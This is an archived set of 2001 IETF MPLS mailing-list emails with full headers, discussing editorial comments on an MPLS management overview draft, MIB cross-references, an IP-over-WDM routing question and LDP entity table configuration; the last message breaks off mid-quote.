Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkax24470;
	Tue, 9 Oct 2001 21:52:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkax15527
	for mpls-outgoing; Tue, 9 Oct 2001 21:51:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkax15522
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 21:51:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkax26885
	for <mpls@uu.net>; Tue, 9 Oct 2001 21:51:15 GMT
Received: from fcs-nt1.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlkax22368
	for <mpls@uu.net>; Tue, 9 Oct 2001 21:51:29 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000401403@fcs-nt1.futsoft.com>;
 Tue, 09 Oct 2001 14:53:35 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id NAA23412;
	Tue, 9 Oct 2001 13:36:57 -0700
Received: by localhost with Microsoft MAPI; Tue, 9 Oct 2001 14:55:32 -0700
Message-Id: <01C150D2.71992260.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>,
        "afarrel@movaz.com"
	 <afarrel@movaz.com>,
        Cheenu Srinivasan <cheenu@alphion.com>
Cc: "mpls@uu.net" <mpls@UU.NET>
Subject: RE: MPLS Management Overview Draft
Date: Tue, 9 Oct 2001 14:55:31 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello

I have the following comments :) Editorial types.. Hope
it helps.

1) 
Section 1- Introduction
...
Multi-Protocol Label Switching (MPLS) [MPLSArch]
                                                         ^^^^^^^^^^^^^^
There reference as MPLSArch can be changed to RFC3031. 
(This comment applicable in section 2, Section 4.2 also).

2) 
Section 2 - Terminology
...
Here the various MPLS-related MIBs are mentioned and 
their relation is explained in section 4. 

Section 4.7 deals with PPVPN-MPLS-VPN-MIB. 
 - Do we need to add this MIB reference too ?

3) 
In section 2, Cross reference for LDPMIB mentioned in this section 
needs to be added section 8 "references"

4) 
In Section 4.2 we have a reference MPLSFW. Is this MPLS
Framework? Reference needs to be added in the Section 8
references.

5) 
In Section 4.3 we have
"The MPLS-LDP-MIB describes managed objects used to model 
and manage the Multiprotocol Label Switching Label Distribution
 Protocol (LDP)." - Can RFC 3036 be added here as reference 
and added in section 8 "references" too. 

We can add cross reference to the LDPMIB too.

6) 
In Section 4.3.1 we have"
Forward Equivalency Class (FEC) entries in the LDP MIBEs xxxx table ()
 are mapped to LSPs by pointing to an entry in mplsXCTable
 in the MPLS-LSR-MIB."

Is the xxxx table -  "mplsLdpSesXCMapTable"?. This can be updated.

7) "MIBEs" is present at couple of places - this should be MIBs?

8)
In Section 4.7  we have a reference VPNMIB. - this reference needs
to be added in section 8 - references

9)
In Section 5.2 we have "... described above in section"..
- Should this be ".. described above in section 4.7" ?

with best regards
mani
(S.Manikantan)





 >         Hi,
 >
 >         During the MPLS meeting in London, Bert W. had requested that
 > I type up a draft providing an overview view of how all of the MPLS-related
 > MIBs fit together. The initial version of this draft is now available
 > here:
 >
 > 
 >http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt
 >
 >         The co-authors and I welcome your comments on this draft.
 >
 >         As a point of order, should the MPLS WG accept this draft
 > as a working group document right away?  This document doesn't
 > satisfy a specific WG work item, but it was asked for directly
 > by one of the WG's ADs.
 >
 >         --Tom
 >



From owner-mpls@UU.NET  Tue Oct  9 17:59:25 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14188
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 17:59:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkax01742;
	Tue, 9 Oct 2001 21:56:44 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkax15826
	for mpls-outgoing; Tue, 9 Oct 2001 21:56:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkax15819
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 21:56:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkax04914
	for <mpls@UU.NET>; Tue, 9 Oct 2001 21:55:14 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlkax29134
	for <mpls@UU.NET>; Tue, 9 Oct 2001 21:55:07 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id RAA19327;
	Tue, 9 Oct 2001 17:52:49 -0400 (EDT)
Message-ID: <3BC3726E.CC7423D9@vill.com>
Date: Tue, 09 Oct 2001 17:55:58 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Nadeau <tnadeau@cisco.com>
CC: Adrian Farrel <afarrel@movaz.com>, mpls@UU.NET,
        Cheenu Srinivasan <cheenu@alphion.com>
Subject: Re: MPLS Management Overview Draft
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
	 <3BC3417D.D7AF748A@vill.com>
	 <01c301c150f2$1729af00$681810ac@movaz.com> <4.3.2.7.2.20011009162718.019ed090@bucket.cisco.com>
Content-Type: multipart/alternative;
 boundary="------------12899171C7FF82FA1180F373"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------12899171C7FF82FA1180F373
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
I am referring RFC 1850 OSPF v2 MIB to explain the relationship
(or the lack) of this MIB with TE MIB and Bundling MIB.
It is not clear to me sometimes how a TE link or bundled link would
reflect in
the OSPF-MIB.

Irfan Lateef

Thomas Nadeau wrote:

>
> Hi,
>
>
>> I am referring to the examples in
>> sec.8 of TE-MIB
>> sec.8 of Bundling MIB
>> sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
>>
>> sec.6 of FTN MIB
>> sec.8 of LMP MIB
>> sec.8 of LSR MIB
>> sec.11 of VPN MIB
>>
>> I think just copying may not be sufficient, but as Adrian said, we
>> may have to make
>> this (appear!) as a one huge working example together.
>
>
> We (myself and co-authors of each of the MIBs you
> referred to) have tried to make the examples in those MIBs
> sufficiently cross-referenced, and sufficiently detailed. I think that
>
> we should make those examples fully detailed in their native
> documents. It was however, my recollection that the goal and intent of
>
> this document was to show how things fit together at a high level, and
>
> not delve too much into the details. The point was to make
> this document a good starting point for developers and operators.
> From here they could go to the specific drafts for more details.
>
>
>> My other suggestion which I missed was to include the GMPLS related
>> MIBs
>> and the OSPF MIB.
>
>
> Which OSPF MIB?
>
>
>> Adrian,
>> As you said, such an example will be hugely useful, only if "timely"
>> delivered. I
>> have no clue about Tom's book, it may be a good reference for later
>> use, but for now the
>> examples will help the people who are running with his drafts.
>
>
> The book issue is irrelevant here. Lets focus on what it takes
> to have a sufficient and succinct MPLS MIB overview document.
>
> --Tom
>
>
>
>
>
>> Regards,
>> Irfan Lateef
>>
>> Thomas Nadeau wrote:
>>
>> > >This was a much needed effort. Just one feedback.
>> > >You have examples in all the other draft MIBs. It will
>> > >be good if you can add those examples in this draft and
>> > >adjust the values of the attributes to show the linkages.
>> > >Just a thought.
>> >
>> >          Do you mean copy the examples out of the other
>> > drafts and put them in here as part of one large example?
>> >
>> >          --Tom
>>
>> Adrian Farrel wrote:
>>
>> > Irfan,
>> >
>> > The existing MIBs contain worked examples that include all of the
>> > cross-references between MIBs.
>> > It is generally not good practice to include this sort of material
>> in two places
>> > and it would be an editorial nightmare.
>> >
>> > I can well believe that a full worked example of how to make all
>> of the MIBs in
>> > a system hang together in detail would be hugely useful.  I don't
>> believe,
>> > however, that this should live in an Internet Draft.  You may find
>> this
>> > information in Tom's book when it is published (that'll be $10
>> please, Tom) or
>> > more likely get it as a tutorial from your software vendor.
>> >
>> > We will, however, look at beefing up the 'dependencies' sections
>> to describe the
>> > abstract references between the MIBs to make it still clearer how
>> they relate to
>> > each other.
>> >
>> > Regards,
>> > Adrian
>> > --
>> > Adrian Farrel
>> > Movaz Networks Inc.
>> > Tel: 703-847-1867
>> > afarrel@movaz.com
>> > ----- Original Message -----
>> > > Tom,
>> > >
>> > > This was a much needed effort. Just one feedback.
>> > > You have examples in all the other draft MIBs. It will
>> > > be good if you can add those examples in this draft and
>> > > adjust the values of the attributes to show the linkages.
>> > > Just a thought.
>> > > Regards,
>> > > Irfan Lateef
>> > >
>>
>> --
>> Irfan Lateef
>> Village Networks Inc,
>
>
>
>
> -----------------------------------------------------------------------Mathematics
> is the supreme nostalgia of our time.

--
Irfan Lateef
Village Networks Inc,


--------------12899171C7FF82FA1180F373
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi,
<br>I am referring RFC 1850 OSPF v2 MIB to explain the relationship
<br>(or the lack) of this MIB with TE MIB and Bundling MIB.
<br>It is not clear to me sometimes how a TE link or bundled link would
reflect in
<br>the OSPF-MIB.
<p>Irfan Lateef
<p>Thomas Nadeau wrote:
<blockquote TYPE=CITE>&nbsp;
<br><x-tab></x-tab>Hi,
<br>&nbsp;
<blockquote type=cite cite>I am referring to the examples in
<br>sec.8 of TE-MIB
<br>sec.8 of Bundling MIB
<br>sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
<br>sec.6 of FTN MIB
<br>sec.8 of LMP MIB
<br>sec.8 of LSR MIB
<br>sec.11 of VPN MIB
<p>I think just copying may not be sufficient, but as Adrian said, we may
have to make
<br>this (appear!) as a one huge working example together.</blockquote>

<p><br><x-tab></x-tab><font face="Arial, Helvetica">We (myself and co-authors
of each of the MIBs you</font>
<br><font face="Arial, Helvetica">referred to) have tried to make the examples
in those MIBs</font>
<br><font face="Arial, Helvetica">sufficiently cross-referenced, and sufficiently
detailed. I think that</font>
<br><font face="Arial, Helvetica">we should make those examples fully detailed
in their native</font>
<br><font face="Arial, Helvetica">documents. It was however, my recollection
that the goal and intent of</font>
<br><font face="Arial, Helvetica">this document was to show how things
fit together at a high level, and</font>
<br><font face="Arial, Helvetica">not delve too much into the details.
The point was to make</font>
<br><font face="Arial, Helvetica">this document a good starting point for
developers and operators.</font>
<br><font face="Arial, Helvetica">From here they could go to the specific
drafts for more details.</font>
<br>&nbsp;
<blockquote type=cite cite>My other suggestion which I missed was to include
the GMPLS related MIBs
<br>and the OSPF MIB.</blockquote>

<p><br><x-tab></x-tab><font face="Arial, Helvetica">Which OSPF MIB?</font>
<br>&nbsp;
<blockquote type=cite cite>Adrian,
<br>As you said, such an example will be hugely useful, only if "timely"
delivered. I
<br>have no clue about Tom's book, it may be a good reference for later
use, but for now the
<br>examples will help the people who are running with his drafts.</blockquote>

<p><br><x-tab></x-tab><font face="Arial, Helvetica">The book issue is irrelevant
here. Lets focus on what it takes</font>
<br><font face="Arial, Helvetica">to have a sufficient and succinct MPLS
MIB overview document.</font>
<p><x-tab></x-tab><font face="Arial, Helvetica">--Tom</font>
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<blockquote type=cite cite>Regards,
<br>Irfan Lateef
<p>Thomas Nadeau wrote:
<p>> >This was a much needed effort. Just one feedback.
<br>> >You have examples in all the other draft MIBs. It will
<br>> >be good if you can add those examples in this draft and
<br>> >adjust the values of the attributes to show the linkages.
<br>> >Just a thought.
<br>>
<br>>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do you mean
copy the examples out of the other
<br>> drafts and put them in here as part of one large example?
<br>>
<br>>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --Tom
<p>Adrian Farrel wrote:
<p>> Irfan,
<br>>
<br>> The existing MIBs contain worked examples that include all of the
<br>> cross-references between MIBs.
<br>> It is generally not good practice to include this sort of material
in two places
<br>> and it would be an editorial nightmare.
<br>>
<br>> I can well believe that a full worked example of how to make all
of the MIBs in
<br>> a system hang together in detail would be hugely useful.&nbsp; I
don't believe,
<br>> however, that this should live in an Internet Draft.&nbsp; You may
find this
<br>> information in Tom's book when it is published (that'll be $10 please,
Tom) or
<br>> more likely get it as a tutorial from your software vendor.
<br>>
<br>> We will, however, look at beefing up the 'dependencies' sections
to describe the
<br>> abstract references between the MIBs to make it still clearer how
they relate to
<br>> each other.
<br>>
<br>> Regards,
<br>> Adrian
<br>> --
<br>> Adrian Farrel
<br>> Movaz Networks Inc.
<br>> Tel: 703-847-1867
<br>> afarrel@movaz.com
<br>> ----- Original Message -----
<br>> > Tom,
<br>> >
<br>> > This was a much needed effort. Just one feedback.
<br>> > You have examples in all the other draft MIBs. It will
<br>> > be good if you can add those examples in this draft and
<br>> > adjust the values of the attributes to show the linkages.
<br>> > Just a thought.
<br>> > Regards,
<br>> > Irfan Lateef
<br>> >
<p>--
<br>Irfan Lateef
<br>Village Networks Inc,</blockquote>

<br>&nbsp;
<br>&nbsp;------------------------------------------------------------------------Mathematics
is the supreme nostalgia of our time.</blockquote>

<p>--
<br>Irfan Lateef
<br>Village Networks Inc,
<br>&nbsp;</html>

--------------12899171C7FF82FA1180F373--



From owner-mpls@UU.NET  Tue Oct  9 18:21:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA14335
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 18:21:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaz26619;
	Tue, 9 Oct 2001 22:20:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaz06319
	for mpls-outgoing; Tue, 9 Oct 2001 22:19:51 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkaz06314
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 22:19:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkaz22986
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:19:15 GMT
Received: from cs.bu.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: CS.BU.EDU [128.197.10.2])
	id QQlkaz18882
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:19:29 GMT
Received: from csb.bu.edu (selma@csb [128.197.10.4])
	by cs.bu.edu (8.10.1/8.10.1) with ESMTP id f99MJEA24249;
	Tue, 9 Oct 2001 18:19:14 -0400 (EDT)
Received: from localhost (selma@localhost)
	by csb.bu.edu (8.10.1/8.10.1) with ESMTP id f99MJCA18308;
	Tue, 9 Oct 2001 18:19:13 -0400 (EDT)
X-Authentication-Warning: csb.bu.edu: selma owned process doing -bs
Date: Tue, 9 Oct 2001 18:19:12 -0400 (EDT)
From: Selma Yilmaz <selma@cs.bu.edu>
X-Sender: selma@csb.bu.edu
To: mpls-ops@mplsrc.com
cc: mpls@UU.NET
Message-ID: <Pine.SOL.4.20.0110091805260.17852-100000@csb.bu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


My question is about INFOCOMM 2001 paper by M. Kodialam, T. V. Lakshman: 
"Integrated Dynamic IP and Wavelength Routing in IP over WDM Networks"

After setting a logical link(cut-through arc) between an ingress-egress
pair, what will happen if another physical path is used between the same
ingress-egress pair and we need to set a cut-through arc for this path
too? If we assume, both physical paths were using the same wavelength,
will we just increase the capacity of the previously set logical link, or
for each physical path we need to differentiate logical links? What
happens for the same situation for physical paths with different
wavelengths ? 

- S. Yilmaz 





From owner-mpls@UU.NET  Tue Oct  9 18:23:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA14370
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 18:23:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaz23841;
	Tue, 9 Oct 2001 22:22:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaz06475
	for mpls-outgoing; Tue, 9 Oct 2001 22:21:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkaz06468
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 22:21:30 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkaz20840
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:19:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkaz24594
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:19:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id SAA24738 for <mpls@uu.net>; Tue, 9 Oct 2001 18:19:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id SAA22067 for mpls@uu.net; Tue, 9 Oct 2001 18:19:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkaz06176
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 22:17:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkay05851
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:14:40 GMT
Received: from mail.alphion.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.alphion.com [12.34.209.78])
	id QQlkay10664
	for <mpls@uu.net>; Tue, 9 Oct 2001 22:14:54 GMT
Received: by OPTONT with Internet Mail Service (5.5.2653.19)
	id <TRQQTA16>; Tue, 9 Oct 2001 18:30:47 -0400
Message-ID: <176689DD1922D511ABE10001022E4DF229C5C3@OPTONT>
From: Cheenu Srinivasan <cheenu@alphion.com>
To: "'manis@futsoft.com'" <manis@futsoft.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, "'Thomas Nadeau'" <tnadeau@cisco.com>,
        "'afarrel@movaz.com'" <afarrel@movaz.com>
Subject: RE: MPLS Management Overview Draft
Date: Tue, 9 Oct 2001 18:30:44 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk


Thanks for your feedback. We will make these edits in the
next version.

> -----Original Message-----
> From: S.Manikantan [mailto:manis@futsoft.com]
> Sent: Tuesday, October 09, 2001 5:56 PM
> To: 'Thomas Nadeau'; afarrel@movaz.com; Cheenu Srinivasan
> Cc: mpls@uu.net
> Subject: RE: MPLS Management Overview Draft
> 
> 
> Hello
> 
> I have the following comments :) Editorial types.. Hope
> it helps.
> 
> 1) 
> Section 1- Introduction
> ...
> Multi-Protocol Label Switching (MPLS) [MPLSArch]
>                                                          
> ^^^^^^^^^^^^^^
> There reference as MPLSArch can be changed to RFC3031. 
> (This comment applicable in section 2, Section 4.2 also).
> 
> 2) 
> Section 2 - Terminology
> ...
> Here the various MPLS-related MIBs are mentioned and 
> their relation is explained in section 4. 
> 
> Section 4.7 deals with PPVPN-MPLS-VPN-MIB. 
>  - Do we need to add this MIB reference too ?
> 
> 3) 
> In section 2, Cross reference for LDPMIB mentioned in this section 
> needs to be added section 8 "references"
> 
> 4) 
> In Section 4.2 we have a reference MPLSFW. Is this MPLS
> Framework? Reference needs to be added in the Section 8
> references.
> 
> 5) 
> In Section 4.3 we have
> "The MPLS-LDP-MIB describes managed objects used to model 
> and manage the Multiprotocol Label Switching Label Distribution
>  Protocol (LDP)." - Can RFC 3036 be added here as reference 
> and added in section 8 "references" too. 
> 
> We can add cross reference to the LDPMIB too.
> 
> 6) 
> In Section 4.3.1 we have"
> Forward Equivalency Class (FEC) entries in the LDP MIBEs xxxx table ()
>  are mapped to LSPs by pointing to an entry in mplsXCTable
>  in the MPLS-LSR-MIB."
> 
> Is the xxxx table -  "mplsLdpSesXCMapTable"?. This can be updated.
> 
> 7) "MIBEs" is present at couple of places - this should be MIBs?
> 
> 8)
> In Section 4.7  we have a reference VPNMIB. - this reference needs
> to be added in section 8 - references
> 
> 9)
> In Section 5.2 we have "... described above in section"..
> - Should this be ".. described above in section 4.7" ?
> 
> with best regards
> mani
> (S.Manikantan)
> 
> 
> 
> 
> 
>  >         Hi,
>  >
>  >         During the MPLS meeting in London, Bert W. had 
> requested that
>  > I type up a draft providing an overview view of how all of 
> the MPLS-related
>  > MIBs fit together. The initial version of this draft is 
> now available
>  > here:
>  >
>  > 
>  
>http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.t
xt
 >
 >         The co-authors and I welcome your comments on this draft.
 >
 >         As a point of order, should the MPLS WG accept this draft
 > as a working group document right away?  This document doesn't
 > satisfy a specific WG work item, but it was asked for directly
 > by one of the WG's ADs.
 >
 >         --Tom
 >



From owner-mpls@UU.NET  Tue Oct  9 19:36:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14915
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 19:36:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkbe07105;
	Tue, 9 Oct 2001 23:35:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkbe29795
	for mpls-outgoing; Tue, 9 Oct 2001 23:35:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkbe29782
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 23:35:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkbe12764
	for <mpls@uu.net>; Tue, 9 Oct 2001 23:35:06 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkbe24902
	for <mpls@uu.net>; Tue, 9 Oct 2001 23:34:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA00005 for <mpls@uu.net>; Tue, 9 Oct 2001 19:35:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id TAA25535 for mpls@uu.net; Tue, 9 Oct 2001 19:35:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkbe29660
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 23:34:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkbe07002
	for <mpls@UU.NET>; Tue, 9 Oct 2001 23:33:09 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQlkbe22050
	for <mpls@UU.NET>; Tue, 9 Oct 2001 23:33:02 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id TAA08073;
	Tue, 9 Oct 2001 19:31:24 -0400 (EDT)
Message-ID: <3BC38933.4DFCB919@crescentnetworks.com>
Date: Tue, 09 Oct 2001 19:33:07 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
CC: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <6B190B34070BD411ACA000B0D0214E56011B5249@newman.tenornet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



"Tiruveedhula, Kishore" wrote:

Hi Kishore,

> 
> Hi Joan,
>     I have a question relating to mplsLdpEntityTable.
>  If all interfaces in an LSR using global label space (per platform label
> space),
>  but some interfaces implements DOD label distribution, conservative
> retention mode and
>  some interfaces implements DU, liberal retention mode. In this scenario all
> interfaces uses same label space and LSR ID.
> In this case, is mplsLdpEntityTable contains multiple entries with same LDP
> identifier (mplsLdpEntityLdpId) due to different distribution and retention
> modes?

The entity table represents configuration for potential sessions, so 
if some interfaces use Downstream on Demand and some are Downstream
Unsoliticied, then this means a minimum of 2 sessions (so 2
mplsLdpEntityLdpId 
indexes).  RFC3036 describes that a single session could not run both
in DOD and DU simultaneously.
 
There could be two label spaces where both
are considered per platform where some interfaces participate in
supporting
one label space, and some interfaces participate in supporting another
label space, which is how one could possibly configure some interfaces
for DownStream OnDemand 
and some interfaces for Downstream Unsolicited (but this would take a
minimum
of two label ranges and at least two entities (or sessions)).

  -Joan

> 
> Thanks,
> Kishore
> 
> -----Original Message-----
> From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> Sent: Tuesday, October 09, 2001 5:59 PM
> To: Srinivas T M
> Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> jluciani@CrescentNetworks.com; hans@ipunplugged.com
> Subject: Re: mplsLdpEntityTable
> 
> Srinivas T M wrote:
> >
> > Hi,
> >    Can anybody clarify my below question.
> >
> > How Interface Index relates to entry in the
> > mplsLdpEntityTable in case of per-platform label space
> > , generic label type and in case of LDP Identifier is
> > same for all interfaces ?
> 
> The entity entry/row is the configuration for a potential
> session.  The Interface Index is in the label range tables
> and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> to tie the entity entry with a label range entry.
> 
> In the case of the per-platform label space, this is also
> the situation.  I'm not sure if this answers the question
> you are asking though.
> 
> >
> >  Can we use single entry in the entity table for
> > multiple interfaces? If it is like that, then what
> > happens if we change label Distribution Method or
> > LabelRetentionMode  or any field in the entity table,
> > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > telling how interface relates to entry in the entity
> > table.
> 
> The front section of the MIB and the description for
> mplsLdpEntityAdminStatus does describe that it
> expects the user to administratively disable the entity
> (and thus take down the session -- meaning the session
> is removed) and then change whatever
> fields and then administratively enable the entity
> to create new session.
> 
>   -Joan
> 
> >
> >   MplsLdpEntityEntry ::= SEQUENCE {
> >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> >      mplsLdpEntityIndex        Unsigned32,
